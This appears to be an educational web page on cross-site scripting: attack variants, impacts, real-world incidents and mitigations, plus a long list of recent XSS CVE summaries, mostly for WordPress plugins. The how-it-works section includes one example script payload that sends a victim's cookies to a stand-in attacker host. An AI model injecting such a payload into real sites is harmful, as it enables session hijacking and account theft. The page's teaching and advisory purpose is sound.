Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40664)
Typesetter CMS versions up to and including 5.1 contain a reflected cross-site scripting (XSS) vulnerability in the Editing component. [CVSS 5.4 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Facebook Pixel facebook_pixel allows Stored XSS.This issue affects Facebook Pixel: from 7.X-1.0 through 7.X-1.1. [CVSS 4.8 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Flag allows Cross-Site Scripting (XSS).This issue affects Flag: from 7.X-3.0 through 7.X-3.9. [CVSS 5.4 MEDIUM]
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.3.6, 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated user to execute stored cross-site scripting through improper input validation in the Kubernetes proxy functionality. [CVSS 7.7 HIGH]
Ph7 Social Dating Builder versions up to 17.9.1 is affected by cross-site scripting (xss) (CVSS 5.4).
html2pdf.js versions prior to 0.14.0 fail to sanitize text input before inserting it into the DOM, enabling stored or reflected XSS attacks that compromise client-side data confidentiality and integrity. Attackers can inject malicious scripts that execute in users' browsers when the library processes untrusted text sources, and public exploit code is available. Update to version 0.14.0 or later to remediate this vulnerability.
Paessler PRTG Network Monitor before 25.4.114 allows XSS by an unauthenticated attacker via the filter parameter. [CVSS 5.4 MEDIUM]
Paessler PRTG Network Monitor before 25.4.114 allows XSS by an unauthenticated attacker via the tag parameter. [CVSS 6.1 MEDIUM]
Vulnerabilities in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attacks against an administrative user of the interface. [CVSS 5.5 MEDIUM]
Stored XSS in the WordPress Short Link plugin through versions 1.0 allows authenticated administrators to inject malicious scripts via the short_link_post_title and short_link_page_title parameters due to insufficient input sanitization. When users access pages containing the injected payload, the arbitrary JavaScript executes in their browsers, potentially compromising their sessions or data. No patch is currently available; mitigation requires disabling or removing the affected plugin.
Stored cross-site scripting in the LinkedIn SC WordPress plugin through version 1.1.9 allows authenticated administrators to inject malicious scripts via insufficiently sanitized plugin settings that execute for all users visiting affected pages. The vulnerability requires high privilege administrator access to exploit and currently lacks an available patch. Attack complexity is high and impact is limited to confidentiality and integrity, with no availability impact.
Electric Studio Download Counter (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 4.4).
Stored XSS in WMF Mobile Redirector plugin for WordPress up to version 1.2 allows authenticated administrators to inject malicious scripts into plugin settings that execute for all site visitors. The vulnerability stems from inadequate input sanitization and output escaping, enabling privilege abuse by high-level account holders. A patch is not currently available.
Stored XSS in WP Allowed Hosts plugin through 1.0.8 allows authenticated administrators to inject malicious scripts via the 'allowed-hosts' parameter on multi-site WordPress installations or those with disabled unfiltered_html. Affected administrators can execute arbitrary JavaScript that persists and runs for all users accessing injected pages. No patch is currently available.
Stored XSS in the SearchWiz WordPress plugin through version 1.0.0 allows authenticated contributors and above to inject malicious scripts into post titles that execute when other users view search results. The vulnerability stems from improper output escaping using esc_attr() instead of esc_html() when rendering post titles in search functionality. No patch is currently available.
Stored XSS in Real Post Slider Lite WordPress plugin through version 2.4 allows authenticated administrators to inject malicious scripts into plugin settings that execute for other users viewing affected pages. The vulnerability requires high privileges and only impacts multi-site WordPress installations or those with unfiltered_html disabled. No patch is currently available.
Reflected XSS in WordPress List Site Contributors plugin up to version 1.1.8 allows unauthenteric attackers to inject malicious scripts through the 'alpha' parameter due to inadequate input sanitization. Successful exploitation requires social engineering to trick users into clicking malicious links, potentially compromising user sessions and site integrity. No patch is currently available for this vulnerability.
The Kunze Law plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin's shortcode in all versions up to, and including, 2.1 due to the plugin fetching HTML content from a remote server and injecting it into pages without any sanitization or escaping. [CVSS 4.4 MEDIUM]
The AJS Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'note_list_class' and 'popup_display_effect_in' parameters in all versions up to, and including, 1.0 due to missing authorization and nonce verification on settings save, as well as insufficient input sanitization and output escaping. [CVSS 7.2 HIGH]
The Name Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name_directory_name' and 'name_directory_description' parameters in all versions up to, and including, 1.30.3 due to insufficient input sanitization and output escaping. [CVSS 7.2 HIGH]
The GeekyBot - Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. [CVSS 7.2 HIGH]
The Gotham Block Extra Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The Internal Link Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The Testimonials Creator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in version 1.6 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The Makesweat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'makesweat_clubid' setting in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The SpiceForms Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spiceforms' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
Webgrind 1.1 and before contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts via the file parameter in index.php. [CVSS 6.1 MEDIUM]
Jetpack 11.4 contains a cross-site scripting vulnerability in the contact form module that allows attackers to inject malicious scripts through the post_id parameter. [CVSS 6.1 MEDIUM]
Zstore, now referred to as Zippy CRM, 6.5.4 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts through unvalidated input parameters. [CVSS 6.1 MEDIUM]
Ametys CMS v4.4.1 contains a persistent cross-site scripting vulnerability in the link directory's input fields for external links. Attackers can inject malicious script code in link text and descriptions to execute persistent attacks that compromise user sessions and manipulate application modules. [CVSS 6.1 MEDIUM]
Mailhog 1.0.1 contains a stored cross-site scripting vulnerability that allows attackers to inject malicious scripts through email attachments. Attackers can send crafted emails with XSS payloads to execute arbitrary API calls, including message deletion and browser manipulation. [CVSS 7.2 HIGH]
e107 CMS 3.2.1 contains an upload restriction bypass vulnerability that allows authenticated administrators to upload malicious SVG files through the media manager. [CVSS 4.8 MEDIUM]
e107 CMS 3.2.1 has multiple XSS vulnerabilities in news comments that allow executing arbitrary JavaScript. Rated CVSS 9.8 suggesting further exploitation potential beyond typical XSS. PoC available.
Testa 3.5.1 contains a reflected cross-site scripting vulnerability in the login.php redirect parameter that allows attackers to inject malicious scripts. Attackers can craft a specially encoded payload in the redirect parameter to execute arbitrary JavaScript in victim's browser context. [CVSS 6.1 MEDIUM]
Owlfiles File Manager 12.0.1 contains a cross-site scripting vulnerability that allows attackers to inject malicious scripts through the path parameter in HTTP server endpoints. [CVSS 5.0 MEDIUM]
YouPHPTube <= 7.8 contains a cross-site scripting vulnerability that allows attackers to inject malicious scripts through the redirectUri parameter in the signup page. [CVSS 6.1 MEDIUM]
WPForms 1.7.8 contains a cross-site scripting vulnerability in the slider import search feature and tab parameter. Attackers can inject malicious scripts through the ListTable.php endpoint to execute arbitrary JavaScript in victim's browser. [CVSS 6.1 MEDIUM]
Open Source Point of Sale (opensourcepos) is a web based point of sale application written in PHP using CodeIgniter framework. opensourcepos 3.4.0 and 3.4.1 has a stored XSS vulnerability exists in the Configuration (Information) functionality. [CVSS 4.3 MEDIUM]
A lack of data validation vulnerability in the HTML export feature in Quill in allows Cross-Site Scripting (XSS). This issue affects Quill: 2.0.3.
Stored XSS in Microsoft SharePoint Server enables authenticated users to inject malicious scripts that execute in other users' browsers, potentially leading to credential theft or session hijacking. The vulnerability requires user interaction and network access, but no patch is currently available, leaving organizations dependent on compensating controls or vendor updates.
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Lemonsoft WordPress add on allows Cross-Site Scripting (XSS).This issue affects WordPress add on: 2025.7.1.
Reflected XSS in SAP Business Connector enables unauthenticated attackers to craft malicious links that redirect users to attacker-controlled sites, potentially compromising webclient confidentiality and integrity when victims click the link. The vulnerability requires user interaction and has no available patch, making client-side awareness critical for mitigation.
OpenCode's markdown renderer fails to sanitize HTML input in LLM responses, allowing attackers who control the chat output to inject arbitrary JavaScript that executes in the localhost:4096 origin without Content Security Policy protections. Public exploit code exists for this cross-site scripting vulnerability, affecting users of the AI coding agent through versions prior to 1.1.10. An attacker can achieve session compromise or local code execution by manipulating LLM responses to inject malicious scripts.
Stored XSS in Label Studio's custom_hotkeys feature allows authenticated attackers to inject malicious JavaScript that executes in other users' browsers, potentially enabling API token theft and account takeover due to insufficient CSRF protections. Public exploit code exists for this vulnerability affecting Label Studio 1.22.0 and earlier. An attacker could abuse this to gain unauthorized API access or perform actions on behalf of compromised users.
Cross Site Scripting vulnerability in 66biolinks by AltumCode v.61.0.1 allows an attacker to execute arbitrary code via a crafted favicon file [CVSS 5.4 MEDIUM]
Imaster's Patient Record Management System contains a stored Cross-Site Scripting (XSS) vulnerability in the endpoint ‘/projects/hospital/admin/edit_patient.php’.
Stored Cross-Site Scripting (XSS) vulnerability in WorkDo's eCommerceGo SaaS, consisting of a stored XSS due to a lack of proper validation of user input by sending a POST request to ‘/ticket/x/conversion’, using the ‘reply_description’ parameter.
Stored Cross-Site Scripting (XSS) vulnerability in WorkDo's eCommerceGo SaaS, consisting of a lack of proper validation of user input by sending a POST request to ‘/store-ticket’, using the ‘subject’ and ‘description’ parameters.
Stored Cross-Site Scripting (XSS) vulnerability in WorkDo's TicketGo, consisting of a lack of proper validation of user input by sending a POST request to ‘/ticketgo-saas/home’, using the ‘description’ parameter.
Stored Cross-Site Scripting (XSS) vulnerability in WorkDo's HRMGo, consisting of a lack of proper validation of user input by sending a POST request to ‘/hrmgo/ticket/changereply’, using the ‘description’ parameter.
Quiz Maker WordPre versions up to 6.7.0.89 contains a vulnerability that allows attackers to high privilege users such as admin to perform Stored Cross-Site Scripting attack (CVSS 4.8).
Dependency on Vulnerable Third-Party Component vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows DOM-Based XSS.This issue affects DX NetOps Spectrum: 24.3.9 and earlier. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows Reflected XSS.This issue affects DX NetOps Spectrum: 24.3.8 and earlier. [CVSS 6.1 MEDIUM]
A vulnerability was found in Luxul XWR-600 versions up to 4.0.1. is affected by cross-site scripting (xss) (CVSS 2.4).
A security flaw has been discovered in questdb u versions up to 1.11.9. is affected by cross-site scripting (xss) (CVSS 3.5).
Shortcodes and extra features for Phlox theme (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).
The Countdown Timer - Widget Countdown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpdevart_countdown' shortcode in all versions up to, and including, 2.7.7 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The ConvertForce Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Gutenberg block's `entrance_animation` attribute in all versions up to, and including, 0.0.7. This is due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
October is a Content Management System (CMS) and web platform. Prior to versions 3.7.13 and 4.0.12, a cross-site scripting (XSS) vulnerabilities was identified in October CMS backend configuration forms. [CVSS 6.1 MEDIUM]
October is a Content Management System (CMS) and web platform. Prior to versions 3.7.13 and 4.0.12, a cross-site scripting (XSS) vulnerability was identified in October CMS backend configuration forms. [CVSS 6.1 MEDIUM]
React Router is a router for React. In @remix-run/router version prior to 1.23.2. [CVSS 8.0 HIGH]
React Router is a router for React. In @remix-run/react versions 1.15.0 through 2.17.0. [CVSS 7.6 HIGH]
GestSup before version 3.2.60 contains a pre-authentication stored XSS vulnerability in API error logging that allows unauthenticated attackers to inject malicious scripts into log files via crafted API requests. When administrators view these logs in the web interface, the injected scripts execute in their browser with administrative privileges due to insufficient output encoding. This impacts both GestSup and PHP-based installations, enabling attackers to compromise administrator accounts without prior authentication.
The Woodpecker for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_name' parameter of the [woodpecker-connector] shortcode in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The The Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'the_tooltip' shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The PullQuote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'pullquote' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The Client Testimonial Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'aft_testimonial_meta_name' custom field in the Client Information metabox in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user-supplied attributes. [CVSS 6.4 MEDIUM]
The Lesson Plan Book plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The MG AdvancedOptions plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Menu Card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `category` parameter in all versions up to, and including, 0.8.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Curved Text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'radius' parameter of the arctext shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Debt.com Business in a Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'configuration' parameter of the lead_form shortcode in all versions up to, and including, 4.1.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Autogen Headers Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head_class' parameter of the 'autogen_menu' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Shabat Keeper plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['PHP_SELF'] parameter in all versions up to, and including, 0.4.4 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Header and Footer Scripts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the _inpost_head_script parameter in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2.2 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to achieve stored cross-site scripting by exploiting GitLab Flavored Markdown. [CVSS 8.7 HIGH]
The WP Popup Magic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the [wppum_end] shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Top Position Google Finance plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.1.0 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Nearby Now Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_tech' parameter of the nn-tech shortcode in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
Cross-site scripting in GitLab CE/EE (18.6 before 18.6.3 and 18.7 before 18.7.1) lets an unauthenticated attacker run arbitrary JavaScript in the browser of a logged-in victim who is lured to a specially crafted webpage, enabling session theft and actions performed as that authenticated user. The flaw carries a critical CVSS 9.6 with a scope change, reflecting impact that crosses from the vulnerable component into the victim's authenticated session. No public exploit identified at time of analysis, and EPSS is very low (0.04%, 12th percentile), but the vendor-confirmed nature and HackerOne report indicate a credible, validated issue.
The Entry Views plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'entry-views' shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
Stored XSS in the AMP for WP WordPress plugin (versions up to 1.1.10) allows authenticated users with Author privileges or higher to execute arbitrary JavaScript by uploading malicious SVG files with event handlers and animation attributes that bypass incomplete script tag filtering. The injected payload executes in the browsers of any user viewing the uploaded file, enabling session hijacking, credential theft, or malware distribution. No patch is currently available.
Frontend Admin by DynamiApps (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 7.2).
Stored cross-site scripting in the WP Google Street View & Google Maps plugin for WordPress versions up to 1.1.8 allows authenticated contributors and higher-privileged users to inject malicious scripts via the 'wpgsv_map' shortcode due to inadequate input sanitization, enabling arbitrary code execution when visitors access affected pages. The vulnerability requires authenticated access and has no available patch as of this report.
The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `fh` (fingerprint) parameter in all versions up to, and including, 5.3.3. This is due to insufficient input sanitization and output escaping on the fingerprint value stored in the database. [CVSS 7.2 HIGH]
The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'notes' and 'resource' parameters in all versions up to, and including, 5.3.4 due to insufficient input sanitization and output escaping. [CVSS 7.2 HIGH]
The BIALTY - Bulk Image Alt Text (Alt tag, Alt Attribute) with Yoast SEO + WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bialty_cs_alt' post meta in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The IndieWeb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Telephone' parameter in all versions up to, and including, 4.0.5 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The NEX-Forms WordPress plugin before 9.1.8 does not sanitise and escape some of its settings. The NEX-Forms WordPress plugin before 9.1.8 can be configured in such a way that could allow subscribers to perform Stored Cross-Site Scripting. [CVSS 6.8 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in The Wikimedia Foundation Mediawiki - Monaco Skin allows Cross-Site Scripting (XSS).This issue affects Mediawiki - Monaco Skin: 1.45, 1.44, 1.43, 1.39.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40664